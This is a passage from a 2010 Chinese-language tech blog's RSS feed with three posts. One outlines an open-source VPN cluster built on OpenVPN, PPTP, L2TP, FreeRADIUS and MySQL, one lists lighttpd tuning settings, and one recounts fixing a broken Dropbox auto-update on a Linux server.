		<comments>http://matrix.windhunter.net/blog/2010/03/use-opensouce-software-setup-vpn-servers-171.html#comments</comments>
		<pubDate>Thu, 04 Mar 2010 13:12:51 +0000</pubDate>
		<dc:creator>matrix</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[openvpn]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[pptp]]></category>
		<category><![CDATA[radius]]></category>
		<category><![CDATA[vpn]]></category>

		<guid isPermaLink="false">http://matrix.windhunter.net/blog/?p=171</guid>
		<description><![CDATA[说明：本文不是一份详细的安装文档，只是概要记述利用开源软件自建可扩展的vpn服务器群。 一.VPN的简介 VPN是Virtual Private Network的缩写。简单的说vpn是一种加密的隧道技术。其功能是在两个已经建立连接的主机之间，建立虚拟的加密连接。这也是其名称的来由。 二.系统架构（配图） 2.1 vpn拨入端 Linux常见比较常见的vpn实现有3种： OpenVPN L2TP/IPSEC VPN PPTP VPN 这3种VPN在开源领域都有比较简单便捷便于安装的软件包： OpenVPN: openvpn.net PPTP VPN: www.poptop.org L2TP/Ipsec VPN : http://www.openswan.org/ or http://www.strongswan.org/ 需要说明的是，以上几种vpn软件还依赖某些未列出的开源软件。比如：Openvpn/openswan/strongswan需要openssl支持；PPTP vpn需要内核支持MPPE。 2.2 登录认证/计费 因为牵涉到vpn用户的管理，所以，我们加入freeradius. 简单的说，freeradius提供符合RFC标准的的用户认证/管理/计费功能。 利用radius另外一个好处就是，如果vpn服务器需要扩容，那么简单的增加一台vpn接入服务器，并挂接至radius服务器做认证即可。 2.3 数据库/用户管理的web界面 幸运的是，freeradius支持mysql。这意味着我们的用户数据（包括认证/计费等）将可以由开源世界的另外两位常客：apache/php 管理。 至此，全部利用开源软件搭建而成的可管理，可扩充的VPN系统已经全部完成。 2.4 系统结构图 三.优点/缺点 优点： 3.1性价比非常好。 除了租赁服务器和带宽的费用，软件部分全部利用开源软件。没有为购买License支付1分钱。而Google解决了我在设定过程中的所有问题。 3.2 稳定性非常好。 我们的vpn接入服务器，从去年12月底运行以来，除了今年年头（1月1日，印象深刻，死党从被窝抓起来 -_-!）因为he.net和联通线路抽风的几天，我们的vpn接入部分一直处于无人搭理的状态。至今稳定运行。 3.3 通用性非常好。 pptp vpn的客户端遍地都是，基本上所有的桌面操作系统都有pptp拨号器。即便移动设备，现在大部分也支持pptp vpn(iphone/ipod/android/WM 系列) openvpn [...]]]></description>
			<content:encoded><![CDATA[<p>说明：本文不是一份详细的安装文档，只是概要记述利用开源软件自建可扩展的vpn服务器群。</p>
<h4>一.VPN的简介</h4>
<p>VPN是Virtual Private Network的缩写。简单的说vpn是一种加密的隧道技术。其功能是在两个已经建立连接的主机之间，建立虚拟的加密连接。这也是其名称的来由。</p>
<h4>二.系统架构（配图）</h4>
<h5>2.1 vpn拨入端</h5>
<p>Linux常见比较常见的vpn实现有3种：</p>
<ul>
<li>
<div>OpenVPN</div>
</li>
<li>
<div>L2TP/IPSEC VPN</div>
</li>
<li>
<div>PPTP VPN</div>
</li>
</ul>
<p>这3种VPN在开源领域都有比较简单便捷便于安装的软件包：</p>
<p>OpenVPN: <a href="http://openvpn.net" target="_blank" onclick="urchinTracker('/outgoing/openvpn.net?referer=');">openvpn.net</a><br />
PPTP VPN: <a href="http://www.poptop.org" onclick="urchinTracker('/outgoing/www.poptop.org?referer=');">www.poptop.org</a><br />
L2TP/Ipsec VPN : <a title="http://www.openswan.org/" href="http://www.openswan.org/" onclick="urchinTracker('/outgoing/www.openswan.org/?referer=');">http://www.openswan.org/</a> or <a title="http://www.strongswan.org/" href="http://www.strongswan.org/" onclick="urchinTracker('/outgoing/www.strongswan.org/?referer=');">http://www.strongswan.org/</a></p>
<div><span id="more-171"></span></div>
<p>需要说明的是，以上几种vpn软件还依赖某些未列出的开源软件。比如：Openvpn/openswan/strongswan需要openssl支持；PPTP vpn需要内核支持MPPE。</p>
<h5>2.2 登录认证/计费</h5>
<p>因为牵涉到vpn用户的管理，所以，我们加入<a href="http://freeradius.org/" target="_blank" onclick="urchinTracker('/outgoing/freeradius.org/?referer=');">freeradius</a>.</p>
<p>简单的说，freeradius提供符合RFC标准的的用户认证/管理/计费功能。</p>
<p>利用radius另外一个好处就是，如果vpn服务器需要扩容，那么简单的增加一台vpn接入服务器，并挂接至radius服务器做认证即可。</p>
<h5>2.3 数据库/用户管理的web界面</h5>
<p>幸运的是，freeradius支持mysql。这意味着我们的用户数据（包括认证/计费等）将可以由开源世界的另外两位常客：apache/php 管理。</p>
<p>至此，全部利用开源软件搭建而成的可管理，可扩充的VPN系统已经全部完成。</p>
<h5>2.4 系统结构图</h5>
<div id="scid:8747F07C-CDE8-481f-B0DF-C6CFD074BF67:85d64267-19b9-4153-a485-ca4c222f7504" class="wlWriterEditableSmartContent" style="margin: 0px; display: inline; float: none; padding: 0px;"><a rel="thumbnail" href="http://matrix.windhunter.net/blog/wp-content/uploads/2010/03/opensourcevpn8x6.jpg" rel="lightbox[171]"><img src="http://matrix.windhunter.net/blog/wp-content/uploads/2010/03/opensourcevpn.png" border="0" alt="" /></a></div>
<h4>三.优点/缺点</h4>
<p>优点：</p>
<p>3.1性价比非常好。</p>
<p>除了租赁服务器和带宽的费用，软件部分全部利用开源软件。没有为购买License支付1分钱。而Google解决了我在设定过程中的所有问题。</p>
<p>3.2 稳定性非常好。</p>
<p>我们的vpn接入服务器，从去年12月底运行以来，除了今年年头（1月1日，印象深刻，死党从被窝抓起来 -_-!）因为he.net和联通线路抽风的几天，我们的vpn接入部分一直处于无人搭理的状态。至今稳定运行。</p>
<p>3.3 通用性非常好。</p>
<p>pptp vpn的客户端遍地都是，基本上所有的桌面操作系统都有pptp拨号器。即便移动设备，现在大部分也支持pptp vpn(iphone/ipod/android/WM 系列)</p>
<p>openvpn 除了移动设备支持较少以外，(android可以参考 yegle的 <a href="http://yegle.net/2010/02/25/android-openvpn/" target="_blank" onclick="urchinTracker('/outgoing/yegle.net/2010/02/25/android-openvpn/?referer=');">这篇</a> 和 Virushuo的 <a href="http://blog.devep.net/virushuo/2010/02/28/androidhtc_herovpn.html" target="_blank" onclick="urchinTracker('/outgoing/blog.devep.net/virushuo/2010/02/28/androidhtc_herovpn.html?referer=');">这篇</a>) win/osx/linx都有客户端支持(开源的好处呀)</p>
<p>l2tp/ipsec 虽然用的不多，但linux/win/osx肯定是支持的。移动设备上，至少iphone是完全支持的。</p>
<p>缺点：您需要一定的linux知识/耐心/时间解决安装设定中的各种问题。</p>
<p><strong>四.案例</strong></p>
<p>本人blog所提供的vpn，即是按照以上思路搭建vpn服务器群。</p>
<p>最后，插播广告：</p>
<p>VPN账户出售中，去<a href="https://www.windhunter.net/members/" onclick="urchinTracker('/outgoing/www.windhunter.net/members/?referer=');">https://www.windhunter.net/members/</a> 注册后，点击“申请试用”链接 即可获得1小时试用时间。</p>
]]></content:encoded>
			<wfw:commentRss>http://matrix.windhunter.net/blog/2010/03/use-opensouce-software-setup-vpn-servers-171.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>lighttpd的优化</title>
		<link>http://matrix.windhunter.net/blog/2010/03/lighttpd-performance-improvements-163.html</link>
		<comments>http://matrix.windhunter.net/blog/2010/03/lighttpd-performance-improvements-163.html#comments</comments>
		<pubDate>Wed, 03 Mar 2010 15:25:27 +0000</pubDate>
		<dc:creator>matrix</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[lighttpd]]></category>

		<guid isPermaLink="false">http://matrix.windhunter.net/blog/?p=163</guid>
		<description><![CDATA[xrspook是个好筒子，这两天一直忙着优化blog。俺也跟着瞎忙一下吧。 以下内容参考官方优化参考 1.打开compress和expire模块 server.modules = ( ... "mod_compress", "mod_expire", ... ) 2.优化参数 server.event-handler = "linux-sysepoll" server.stat-cache-engine = "simple" server.network-backend = "linux-sendfile" server.max-keep-alive-requests = 4 server.max-keep-alive-idle=4 server.tag="Apache 2.4" server.max-fds=2048 【完】]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.xlanda.net/" onclick="urchinTracker('/outgoing/www.xlanda.net/?referer=');">xrspook</a>是个好筒子，这两天一直忙着优化blog。俺也跟着瞎忙一下吧。<br />
以下内容参考<a href="http://redmine.lighttpd.net/wiki/lighttpd/Docs:Performance" onclick="urchinTracker('/outgoing/redmine.lighttpd.net/wiki/lighttpd/Docs_Performance?referer=');">官方优化参考</a></p>
<p>1.打开compress和expire模块<span id="more-163"></span></p>
<blockquote><p><code>server.modules              = (<br />
...<br />
                               "mod_compress",<br />
                               "mod_expire",<br />
...<br />
)<br />
</code></p></blockquote>
<p>2.优化参数</p>
<blockquote><p><code>server.event-handler = "linux-sysepoll"<br />
server.stat-cache-engine = "simple"<br />
server.network-backend = "linux-sendfile"<br />
server.max-keep-alive-requests = 4<br />
server.max-keep-alive-idle=4<br />
server.tag="Apache 2.4"<br />
server.max-fds=2048<br />
</code></p></blockquote>
<p>【完】</p>
]]></content:encoded>
			<wfw:commentRss>http://matrix.windhunter.net/blog/2010/03/lighttpd-performance-improvements-163.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>blog服务器线路故障以及dropbox更新引起的小问题</title>
		<link>http://matrix.windhunter.net/blog/2010/03/dropbox-auto-upgrade-error-resolve-127.html</link>
		<comments>http://matrix.windhunter.net/blog/2010/03/dropbox-auto-upgrade-error-resolve-127.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 05:34:48 +0000</pubDate>
		<dc:creator>matrix</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[dropbox]]></category>

		<guid isPermaLink="false">http://matrix.windhunter.net/blog/?p=127</guid>
		<description><![CDATA[我的linux服务器上跑了一份dropbox同步数据。今天早晨，例行的打开笔记本等数据更新，可惜，硬盘等没有如往常一样闪亮忙碌。当时没当回事，忙其他事情了。 10点多，xrspook同学短信到了，说服务器连不上。web/ssh/vpn都是如此。赶紧检查服务器，丢了份ticket给服务商。10分钟后，有回应了： （还不错，米国时间夜里2点半，居然还有值班人员。） Thank you for providing that information, I have forwarded it to our upstream provider for further investigation. We thank you for your continued patience with this matter, please do not hesitate to update this ticket with any questions or concerns you may have in the meantime. 原来是上一级的线路出现问题，故障和服务器完全无关。 12：13分，线路终于恢复了。 可是，我的dropbox依旧没动静。ssh上服务器，重新启动dropbox进程，出现了如下错误： /usr/local/.dropbox-dist-new/dropbox: /lib64/ld-linux-x86-64.so.2: bad [...]]]></description>
			<content:encoded><![CDATA[<p>我的linux服务器上跑了一份dropbox同步数据。今天早晨，例行的打开笔记本等数据更新，可惜，硬盘等没有如往常一样闪亮忙碌。当时没当回事，忙其他事情了。</p>
<p>10点多，<a href="http://www.xlanda.net" onclick="urchinTracker('/outgoing/www.xlanda.net?referer=');">xrspook</a>同学短信到了，说服务器连不上。web/ssh/vpn都是如此。赶紧检查服务器，丢了份ticket给服务商。10分钟后，有回应了：<br />
（还不错，米国时间夜里2点半，居然还有值班人员。）<br />
<span id="more-127"></span></p>
<blockquote><p><code><br />
Thank you for providing that information, I have forwarded it to our upstream provider for further investigation. We thank you for your continued patience with this matter, please do not hesitate to update this ticket with any questions or concerns you may have in the meantime.</code></p></blockquote>
<p>原来是上一级的线路出现问题，故障和服务器完全无关。</p>
<p>12：13分，线路终于恢复了。</p>
<p>可是，我的dropbox依旧没动静。ssh上服务器，重新启动dropbox进程，出现了如下错误：</p>
<blockquote><p>
<code>/usr/local/.dropbox-dist-new/dropbox: /lib64/ld-linux-x86-64.so.2: bad ELF interpreter: No such file or directory</code></p></blockquote>
<p>奇怪&#8230;.我安装dropbox的文件夹明明是.dropbox-dist。联想到到Windows版本的dropbox最近有个升级；而这里的文件夹名称变为.dropbox-dist-new。严重怀疑是dropbox瞒着俺偷偷把自己升级了了；怀疑运行错误的故障和此次自动升级有关。</p>
<p>上dropbox网站看了下，果然2月25号有个升级。ok，干掉错误的自动升级，手动升级：</p>
<blockquote><p>
<code>$ /etc/init.d/dropbox stop #先停掉dropbox服务<br />
$ cd /usr/local<br />
$ rm -rf .dropbox-dist<br />
$ rm -rf .dropbox-dist-new<br />
</code>
</p></blockquote>
<p>下载新版本</p>
<blockquote><p><code>$ wget http://dl-web.dropbox.com/u/17/dropbox-lnx.x86-0.7.110.tar.gz </code></p></blockquote>
<p>注意这里是32位版本，64位版本是http://dl-web.dropbox.com/u/17/dropbox-lnx.x86_64-0.7.110.tar.gz<br />
解解包即可：</p>
<blockquote><p><code>$ tar xzf dropbox-lnx.x86-0.7.110.tar.gz </code></p></blockquote>
<p>重新运行dropbox后一切正常。</p>
<p>看来dropbox的自动升级还是不够智能.</p>
]]></content:encoded>
			<wfw:commentRss>http://matrix.windhunter.net/blog/2010/03/dropbox-auto-upgrade-error-resolve-127.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

